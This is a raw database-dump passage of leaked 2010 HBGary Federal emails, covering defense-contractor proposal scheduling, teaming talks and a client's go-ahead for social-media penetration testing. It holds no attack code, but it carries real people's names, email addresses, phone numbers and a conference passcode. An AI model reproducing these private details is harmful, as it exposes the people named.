(XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008932.M457559P14101Q6850.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Selection to Submit Response for UNO Green Eggs MS13','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThe SOW is not being sent til some time today.&nbsp; So, I don&#8217;t know\r\nwhen we will have it to get started working.&nbsp;&nbsp; I assume you mean 1130AM for\r\ntomorrow.&nbsp;&nbsp; Do you have the ability to get on a good phone (STU) today so I can\r\nread you the classified SOW when we get it.&nbsp; That way, you could pull\r\ninformation together this afternoon/evening.&nbsp; Given the proposal is due on\r\nFriday, you should be out of here by mid-day on Thursday otherwise we are in\r\nbig trouble.&nbsp; \r\n\r\nSo, if we can get on phone today and you get out here mid-day\r\ntomorrow, that gives us a day and a half to get the tech volume done.&nbsp; Sound\r\ngood?\r\n\r\n&nbsp;\r\n\r\nJust got an email from LM, we are getting the classified SOW at\r\n1PM today.\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, September 19, 2010 9:29 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: Selection to Submit Response for UNO Green Eggs\r\nMS13\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok so what does that mean. &nbsp;Flights on Tuesday don\'t\r\nget me to OH until 11:30pm. &nbsp;Do I need to come tomorrow night? &nbsp;Still\r\nleaving thursday?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 19, 2010, at 8:13 AM, Masterson, Brian M (XETRON)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI just noticed, this thing is due Friday and not the following\r\nMonday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n17, 2010 3:15 PM\r\nTo:&nbsp;Lentz, Jason M; Racz,\r\nJames M\r\nSubject:&nbsp;Selection to\r\nSubmit Response for UNO Green Eggs MS13\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCongratulations,\r\n\r\n\r\n\r\n\r\n\r\nYou\r\nhave been selected to submit a response for Green Eggs, Mitigation Study 13.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNavigating\r\nsome security checks took longer than expected.&nbsp; We will send the\r\nclassified SOWs on Monday.&nbsp; You will have until COB Friday to submit your\r\nresponses.&nbsp; On Monday, we&#8217;ll send out the complete submission instructions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nrespond to this with a security POC for the fax on Monday\r\n\r\n\r\n\r\n\r\n\r\nName:\r\n\r\n\r\n\r\n\r\n\r\nEmail:\r\n\r\n\r\n\r\n\r\n\r\nSecure\r\nFax:\r\n\r\n\r\n\r\n\r\n\r\nUnsecure\r\nvoice:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ll\r\nsend all of the security people a meeting invite for the time that I&#8217;ll be\r\nfaxing to them, just to minimize everyone&#8217;s time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nlet me know if you have any questions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank\r\nyou,\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\nBritton\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3167,'aaron_hbgary_com/3167.html'),(11996,'2010-09-20','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','/aaron@hbgary.com/new/1297008932.M672121P14101Q6851.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,,,','RE: COIN/Romas','\r\n\r\n\r\n\r\n\r\n9:00 works for me\r\n&nbsp;\r\n~K\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Sun 9/19/2010 10:20 PMTo: Clair, Chris (TASC)Cc: Lovegrove, John (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC); Newbern, Dave (TASC); Brunst Jr, Gerald R (TASC)Subject: Re: COIN/Romas\r\n\r\nOk with mezSent from my iPhone\r\nOn Sep 19, 2010, at 10:15 PM, \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\nHow does 9:00 sound?&nbsp; I am in meetings from 10:30 - 2:00.&nbsp; All in WF can meet in conference room 3B (if it is available) as it has a telcon phone.&nbsp; I\'ll verify which conference room when I get in and update everyone\'s calendars.&nbsp;Hope this comes together quickly.Chris-----Original Message-----From: Lovegrove, John (TASC)Sent: Sun 9/19/2010 11:52 AMTo: Aaron Barr; Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC)Subject: RE: COIN/RomasI spoke to Aaron this morning, recommend we have a conference call on Monday to catch everyone up.&nbsp; Chris, can you schedule it when you get in on tomorrow?John LovegroveDirectorOffice: (703) 449-3812Cell: (571) 294-5154TASC INTERNAL DISTRIBUTION ONLYThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Saturday, September 18, 2010 11:26 PMTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)Subject: COIN/RomasNew Twist.I spoke with the Branch Chief, John, this morning.&nbsp; Things have changed.&nbsp; They are going to now break out each of the 4 areas and release 4 RFPs.&nbsp; Also HBGary Federal is being added directly to the bidders list.&nbsp; I have to go into the office and sign some paperwork.&nbsp; I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.&nbsp; The RFPs should be coming out in the next week or so.&nbsp; I unfortunately will be in Cincinatti Mon-Thurs.&nbsp; I can meet monday morning after I head in to see John and before the airport, or friday.When does this ride end?Aaron',13917,'aaron_hbgary_com/13917.html'),(11997,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008932.M875072P14101Q6852.eml','\"Charlie Scuilla\" <charlie@scuilla.com>','Re: Meeting Gatorbiat','Hey Charlie,\r\n\r\nHave you done it at all yet?\r\n\r\nLets get on today if you have some time.   I am flying to Cincinnati tomorrow morning for a few days.\r\n\r\nAaron\r\n\r\nOn Sep 16, 2010, at 2:47 PM, Charlie Scuilla wrote:\r\n\r\n> Aaron:\r\n> \r\n> I thought that we were going to chat - on facetime?\r\n> \r\n> Charlie\r\n> \r\n> \r\n> On Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n> \r\n>> Hey Charlie,\r\n>> \r\n>> More to follow next week.  I met with Bob Frisbie, my old boss, who now runs Mantechs work for that organization.  I have signed an NDA with them.  I also mentioned to Bob that you guys were interested as well.  He said he was still working on putting together \"the team\" and was looking for people that could contribute.  I don\'t know exactly what that means, but I will ask him again when I see him next week in our follow up meeting.\r\n>> \r\n>> I talked to GD on the phone, they are also interested to talk to us, we have a standing relationship with Jim Jaeger and his group, but I haven\'t heard anything else from him yet.  I think Mantech has potentially the strongest offering going into this, besides maybe Harris/Crucial.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>> \r\n>>> Aaron:\r\n>>> \r\n>>> How did the meeting with Mantech go?\r\n>>> \r\n>>> Charlie\r\n>>> \r\n>>> \r\n>>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> I have a meeting with Mantech early next month.  Forget about Northrop, the lead for this does not have the capability, this is not Xetron but another part of Northrop that has a contentious relationship with Xetron so they will likely not team well internally.  I have reached out to GD to find out what their position is.  Interesting I know Wayne Chunn from way back when he was with Scitor, I don\'t know his new company though.  Everyone else doesn\'t excite me.  Mandiant certainly has some forensics capability, don\'t know how many cleared people they have etc.  CACI I don\'t know much about.  MacB has some capability certainly, we have some contacts there, they are mostly focused in San Antonio.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>> \r\n>>>>> Sorry it t\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\n',14708,'aaron_hbgary_com/14708.html'),(11998,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008933.M306658P14101Q6854.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>','Attribution','Hey Guys,\r\n\r\nShort notice I have to fly to Cincinnati tomorrow and will flying back Thursday.  Do you want to get together today or Friday?\r\n\r\nAaron\r\n\r\n',14384,'aaron_hbgary_com/14384.html'),(11999,'2010-09-20','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008933.M565927P14101Q6855.eml','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"A. Justin Wilder\" <justin.wilder@siegetechnologies.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 22, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',10464,'aaron_hbgary_com/10464.html'),(12000,'2010-09-20','\"Kelly, Pamela J (TASC)\" <PAMELA.KELLY@tasc.com>','/aaron@hbgary.com/new/1297008933.M785825P14101Q6856.eml','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Wagner, Rick (TASC)\" <RICHARD.WAGNER@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Newbern, Dave (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,aaron@HBGary.com','CLIN Romas Discussion','\r\n\r\n\r\n\r\n\r\nCLIN Romas Discussion\r\n\r\n\r\n\r\n\r\nWhen: Monday, September 20, 2010 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF 3, CR 3A, Room 3235\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nThis meeting is scheduled on behalf of Chris Clair.\r\n\r\nLocation &#8211; WF3, Conference Room 3A, Room 3235\r\n\r\nCall-in information\r\n\r\n\r\n\r\nDial-in number: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1-866.708.3448\r\n\r\nParticipant passcode:&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3269042#\r\n\r\n\r\nThank you.\r\n\r\nPam Kelly\r\n\r\nExt 8793\r\n\r\n\r\n',2231,'aaron_hbgary_com/2231.html'),(12001,'2010-09-20','\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>','/aaron@hbgary.com/new/1297008933.M91382P14101Q6853.eml','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,','RE: COIN/Romas','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ll be there&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Garcia, Kathy\r\n(TASC) \r\nSent: Monday, September 20, 2010 8:11 AM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Pisani, Albert A. (TASC); Heider, Raymond A\r\n(TASC); Newbern, Dave (TASC); Brunst Jr, Gerald R (TASC); Wagner, Rick (TASC)\r\nSubject: RE: COIN/Romas\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n9:00\r\nworks for me\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n~K\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sun 9/19/2010 10:20 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n(TASC); Heider, Raymond A (TASC); Newbern, Dave (TASC); Brunst Jr, Gerald R\r\n(TASC)\r\nSubject: Re: COIN/Romas\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk with mez\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 19, 2010, at 10:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9:00\r\nsound?&nbsp; I am in meetings from 10:30 - 2:00.&nbsp; All in WF can meet in\r\nconference room 3B (if it is available) as it has a telcon phone.&nbsp; I\'ll\r\nverify which conference room when I get in and update everyone\'s\r\ncalendars.&nbsp;\r\n\r\nHope this comes together quickly.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC)\r\nSent: Sun 9/19/2010 11:52 AM\r\nTo: Aaron Barr; Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n(TASC); Heider, Raymond A (TASC)\r\nSubject: RE: COIN/Romas\r\n\r\nI spoke to Aaron this morning, recommend we have a conference call on Monday to\r\ncatch everyone up.&nbsp; Chris, can you schedule it when you get in on\r\ntomorrow?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the\r\nperson or entity to whom it is addressed and may contain confidential or\r\nprivileged information. If the reader of this e-mail is not the intended\r\nrecipient or his or her authorized agent, the reader is hereby notified that\r\nany dissemination, distribution or copying of this e-mail is prohibited. If you\r\nthink that you have received this e-mail in error, please advise the sender by\r\nreply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 11:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani,\r\nAlbert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.&nbsp; Things have\r\nchanged.&nbsp; They are going to now break out each of the 4 areas and release\r\n4 RFPs.&nbsp; Also HBGary Federal is being added directly to the bidders\r\nlist.&nbsp; I have to go into the office and sign some paperwork.&nbsp; I don\'t\r\nthink the last part really changes much from my perspective, but with the other\r\nnews we need to sit down and talk this through.&nbsp; The RFPs should be coming\r\nout in the next week or so.&nbsp; I unfortunately will be in Cincinatti\r\nMon-Thurs.&nbsp; I can meet monday morning after I head in to see John and\r\nbefore the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7526,'aaron_hbgary_com/7526.html'),(12002,'2010-09-20','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008934.M10513P14101Q6857.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>','Period of Performance Correction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood morning.&nbsp; We have a correction to the period of\r\nperformance.&nbsp; In our request for pricing/rates, we stated the period of\r\nperformance as 11 March 2011 through 10 March 2012.&nbsp; The period of\r\nperformance is actually 21 March 2011 through 20 March 2012 (plus\r\nthe four options).\r\n\r\n&nbsp;\r\n\r\nI&#8217;m sure that the 10 day shift does not affect your\r\nrates&#8212;however, we do need to verify this.&nbsp; Please reply to me and\r\nCheryl Grays (cc line above) stating that you realize the correct dates and it\r\ndoes not affect your pricing.&nbsp; If it does affect your pricing, please\r\nprovide revised pricing.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3382,'aaron_hbgary_com/3382.html'),(12003,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008934.M245675P14101Q6858.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Training','Hi Daniel,\r\n\r\nJust checking in on your thoughts on the training.  Ultimately is your desire to conduct the social media pen testing along with the training, or just the training.  If so is the social media pen testing something we can start?  This takes a bit to set up the personas and work my way in.  Wrapped into the training material I will then present some statistics on how many boxes I would have been able to exploit (I represent this by how many people I got to click a link or visit a page, and the information I was able to gather.\r\n\r\nAaron',4134,'aaron_hbgary_com/4134.html'),(12004,'2010-09-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008934.M458409P14101Q6859.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: scale and concept art (captains of industry)',' \r\nThanks Aaron, put Jeremiah in touch with me.  Regarding models for purchase / turbosquid - I explored this route already (and concluded that isn&#39;t the correct route). I think turbosquid works pretty well if you need vehicles, military stuff, or realistic human models or architectural stuff (lamps, couches, etc).  Yes they are cheap, but there are some signifiant drawbacks.  Most games follow a theme.  Using a set of disjointed models purchased from the web would make the game art suffer.  There are other problems also - turbosquid/etc. are usually very high poly count and would not work for us.  Also, they still would need to be rigged and animated.  They would not have the proper technical design for the removable roof system (for buildings). Per the art direction, we are going with the slightly cartoon look that is similar to torchlight - I don&#39;t think you can find models that would fit that look and feel pre-made, unless you found an entire set of everything we needed already in a similar theme.\r\n\r\n \r\n-Greg\r\n',644,'aaron_hbgary_com/644.html'),(12005,'2010-09-20','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008934.M662789P14101Q6860.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Training','Hi Aaron,\r\n\r\nYes, I would like to conduct the social media pen testing followed by\r\nthe training.\r\n\r\nCan you send me an updated quote for the social media pen testing and\r\ntraining?\r\n\r\nRegarding the training; we have two large conference rooms that can be\r\nconfigured to support 25 or 50 people at a time. I think we will be\r\nbetter served if we can hold multiple 25 person training session. Would\r\nyou or Ted provide the training? Also, is there any way we can do this\r\nin 1, 1.5, or 2 hours? A two hour commitment may be difficult for 25\r\npeople at a time and will take awhile to train everyone. I would like to\r\nhear your ideas about running several sessions over two or three days.\r\nWe won\'t be able to get everyone trained the first time but we can\r\ncertainly hit a good majority of our Longmont employees. \r\n\r\nI would appreciate your thoughts on the training configuration that\r\nwould be most effective. I would rather provide higher quality training\r\nto a smaller audience rather than trying to rush everyone through it.\r\n\r\nBest,\r\nDan \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 8:06 AM\r\nTo: Daniel Collender\r\nSubject: Training\r\n\r\n* PGP - S/MIME Signed: 9/20/2010 at 8:05:58 AM\r\n\r\nHi Daniel,\r\n\r\nJust checking in on your thoughts on the training.  Ultimately is your\r\ndesire to conduct the social media pen testing along with the training,\r\nor just the training.  If so is the social media pen testing something\r\nwe can start?  This takes a bit to set up the personas and work my way\r\nin.  Wrapped into the training material I will then present some\r\nstatistics on how many boxes I would have been able to exploit (I\r\nrepresent this by how many people I got to click a link or visit a page,\r\nand the information I was able to gather.\r\n\r\nAaron\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n',13340,'aaron_hbgary_com/13340.html'),(12006,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008934.M861984P14101Q6861.eml','\"Matt Furman\" <matt_furman2005@yahoo.com>','Fwd: scale and concept art (captains of industry)','Matt,See below. &nbsp;You and Jeremiah contact Greg RE: the game and let me know how things go. &nbsp;Also, given the change in contract types as John told me let me know how things go with TASC. &nbsp;Meaning if they are going to give you a full or contingent offer. &nbsp;If for some reason they give you a contingent offer I would rather you sign our contingent offer, but that is completely up to you. :)Give me a call if you need anything.AaronBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: September 20, 2010 10:09:24 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Bob Slapnik &lt;bob@hbgary.com&gt;, Martin Pillion &lt;martin@hbgary.com&gt;Subject: Re: scale and concept art (captains of industry)&nbsp;\r\nThanks Aaron, put Jeremiah in touch with me.&nbsp; Regarding models for purchase / turbosquid&nbsp;- I explored this route already (and concluded that isn\'t the correct route).&nbsp;I think turbosquid works pretty well if you need vehicles, military stuff,&nbsp;or realistic human models or architectural stuff (lamps, couches, etc).&nbsp;&nbsp;Yes they are cheap, but there are some signifiant drawbacks.&nbsp; Most games follow a theme.&nbsp; Using a set&nbsp;of disjointed models&nbsp;purchased from the web would make the game art suffer.&nbsp; There are other problems also -&nbsp;turbosquid/etc.&nbsp;are usually&nbsp;very high poly count and would not work for us.&nbsp; Also, they still would need to be rigged and animated.&nbsp; They would not have the proper technical design for the removable roof system (for buildings).&nbsp;Per the art direction, we are going with the&nbsp;slightly cartoon look&nbsp;that is similar to torchlight - I don\'t think you can find models that would fit that look and feel&nbsp;pre-made, unless you found an entire set of everything we needed already in&nbsp;a similar&nbsp;theme.\r\n\r\n&nbsp;\r\n-Greg\r\n',11696,'aaron_hbgary_com/11696.html'),(12007,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008935.M146024P14101Q6862.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Training','Begin forwarded message:From: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;Date: September 20, 2010 10:14:21 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: TrainingHi Aaron,Yes, I would like to conduct the social media pen testing followed bythe training.Can you send me an updated quote for the social media pen testing andtraining?Regarding the training; we have two large conference rooms that can beconfigured to support 25 or 50 people at a time. I think we will bebetter served if we can hold multiple 25 person training session. Wouldyou or Ted provide the training? Also, is there any way we can do thisin 1, 1.5, or 2 hours? A two hour commitment may be difficult for 25people at a time and will take awhile to train everyone. I would like tohear your ideas about running several sessions over two or three days.We won\'t be able to get everyone trained the first time but we cancertainly hit a good majority of our Longmont employees. I would appreciate your thoughts on the training configuration thatwould be most effective. I would rather provide higher quality trainingto a smaller audience rather than trying to rush everyone through it.Best,Dan -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, September 20, 2010 8:06 AMTo: Daniel CollenderSubject: Training* PGP - S/MIME Signed: 9/20/2010 at 8:05:58 AMHi Daniel,Just checking in on your thoughts on the training. &nbsp;Ultimately is yourdesire to conduct the social media pen testing along with the training,or just the training. &nbsp;If so is the social media pen testing somethingwe can start? &nbsp;This takes a bit to set up the personas and work my wayin. &nbsp;Wrapped into the training material I will then present somestatistics on how many boxes I would have been able to exploit (Irepresent this by how many people I got to click a link or visit a page,and the information I was able to gather.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign',16370,'aaron_hbgary_com/16370.html'),(12008,'2010-09-20','\"Greg Hoglund\" 